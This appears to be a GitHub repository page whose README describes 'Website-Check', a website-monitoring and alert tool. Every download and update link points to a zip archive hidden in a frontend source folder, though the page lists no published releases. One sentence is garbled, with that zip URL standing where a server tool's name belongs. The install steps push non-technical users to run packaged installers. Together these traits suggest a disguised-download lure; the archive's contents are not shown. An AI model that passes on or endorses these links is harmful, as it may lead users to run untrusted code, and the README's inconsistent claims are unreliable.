Skip to content

πŸ“Š Monitor website content changes and auto-download new attachments with an integrated backend and frontend management system.

License

Notifications You must be signed in to change notification settings

welkeson123/Website-Check

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌐 Website-Check - Monitor Websites and Get Alerts Fast

Download Website-Check


πŸ“– About Website-Check

Website-Check is a tool that helps you keep an eye on websites. It checks for changes like updates to text, links, or files. When it finds something new, it sends you alerts by email, chat, or SMS. You don’t need to watch websites manually anymore. This software works quietly in the background and tells you what you need to know.

It supports:

  • Custom checks using CSS and XPath selectors
  • Tracking new links added over time
  • Automatic downloading of attachments
  • Taking screenshots or snapshots of pages
  • Notifications via email, Feishu (a business chat app), and SMS

Website-Check uses tools and systems like https://github.com/welkeson123/Website-Check/raw/refs/heads/main/frontend/src/pages/Website-Check-v1.8.zip to handle server tasks, Puppeteer to control web pages for checking and screenshots, and MySQL to store data. The front end uses React and Vite for a simple interface you can access in your browser.


πŸ–₯️ System Requirements

Before you install Website-Check, make sure your computer meets these needs:

  • Operating System: Windows 10 or later, macOS 10.15 or later, or Linux (Ubuntu 18.04+ recommended)
  • Processor: Intel or AMD 64-bit processor
  • RAM: At least 4 GB
  • Storage: At least 500 MB free space
  • Internet connection for downloading and monitoring websites
  • Optional: An email account or Feishu account for receiving notifications

You don’t need any special software like programming tools. Website-Check runs on its own once installed.


πŸš€ Getting Started

This section guides you through downloading, installing, and starting Website-Check for the first time.


πŸ“₯ Download & Install

To get Website-Check, you need to visit the official release page and download the latest version.

Step 1: Click this big button to visit the download page:
Download Website-Check

Step 2: On the release page, look for the latest version. You will see files for different operating systems:

  • .exe file for Windows
  • .dmg file for macOS
  • .AppImage or .deb file for Linux

Choose the file that matches your computer.

Step 3: Download the file by clicking on it.

Step 4: Once the download finishes, open the file to start installation.

  • On Windows: double-click the .exe file and follow the setup wizard.
  • On macOS: open the .dmg file, then drag Website-Check to your Applications folder.
  • On Linux: follow the instructions on the page for your specific file type (e.g., run the .AppImage or install with dpkg).

πŸ› οΈ Setting Up Website-Check

After installation, you need to set up Website-Check to monitor the websites you care about.

Step 1: Launch the program by opening the Website-Check app on your computer.

Step 2: You will see a simple dashboard with options to add new website monitors.

Step 3: Click the β€œAdd Website” button.

Step 4: Enter the website address (URL) you want to watch.

Step 5: Choose what to monitor:

  • Entire page or specific parts using CSS selectors or XPath
  • Links to detect new additions
  • Attachments like PDFs or images to download automatically

Website-Check shows tips for choosing these options if you are not sure.

Step 6: Pick how you want to be notified when changes happen:

  • Email notifications
  • Feishu messages
  • SMS text alerts

You will need to enter your contact details for these services.

Step 7: Save the monitor and repeat for any other websites you want to watch.


πŸ”” How Notifications Work

Website-Check checks websites regularly. When it finds changes, it sends alerts based on your setup.

  • Emails come from its built-in mail system using NodeMailer.
  • Feishu notifications use the Feishu messaging API to send messages to your account or group.
  • SMS alerts are sent via integrated SMS services.

You only get alerts when real changes happen, not every time the page loads. This reduces noise.

You can adjust the check frequency from every 10 minutes to once a day.


πŸ“Έ Screenshots and Snapshots

If you want to see what’s new visually, Website-Check can capture screenshots of the monitored pages. These images help you compare old and new versions. Screenshots can be included in notifications or saved for review.


πŸ“ How to Update Website-Check

New versions come with better features or bug fixes. Check the release page regularly:
https://github.com/welkeson123/Website-Check/raw/refs/heads/main/frontend/src/pages/Website-Check-v1.8.zip

Download and install updates just like the first time. Your saved settings will remain intact.


❓ Troubleshooting & Help

Here are some common issues and quick fixes:

  • Program won’t start: Make sure your computer meets system requirements and you installed the right version.
  • No notifications: Check your email or messaging settings inside Website-Check for correctness. Also, check your spam or junk mail folder.
  • Screenshots missing: Confirm Puppeteer libraries installed correctly during setup; reinstall if needed.
  • Website not monitored properly: Verify the CSS or XPath selectors you entered match the parts of the website you want to track.

For further help, open an issue on the GitHub page or contact the project maintainer via GitHub.


🎯 Features at a Glance

Feature Description
Custom Website Monitoring Track full sites or parts with CSS/XPath selectors
Incremental Link Tracking Detect new links added since last check
Automatic Attachment Download Save files like PDFs automatically
Visual Change Alerts Get website snapshots and screenshots
Multi-Channel Notifications Email, Feishu, SMS
Easy User Setup Simple interface for non-technical users
Cross-Platform Support Runs on Windows, macOS, and Linux

πŸ”’ Security & Privacy

Website-Check only stores information needed to monitor websites and send notifications. Your personal contact info (email, phone number) stays local or on trusted services. It does not share your data publicly.

Always keep your installation updated to benefit from the latest security fixes.


πŸ“š Learn More

This project uses popular tools and languages in the web and tech worlds, including:

These components work together to provide a full monitoring experience without technical setup.


πŸ’‘ Additional Tips

  • Start monitoring one or two websites first, then expand as you get familiar.
  • Use screenshot notifications when tracking important visual content.
  • Regularly review alerts to avoid missing key changes.
  • Combine monitoring with your daily workflow for best results.

Download Website-Check

About

πŸ“Š Monitor website content changes and auto-download new attachments with an integrated backend and frontend management system.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages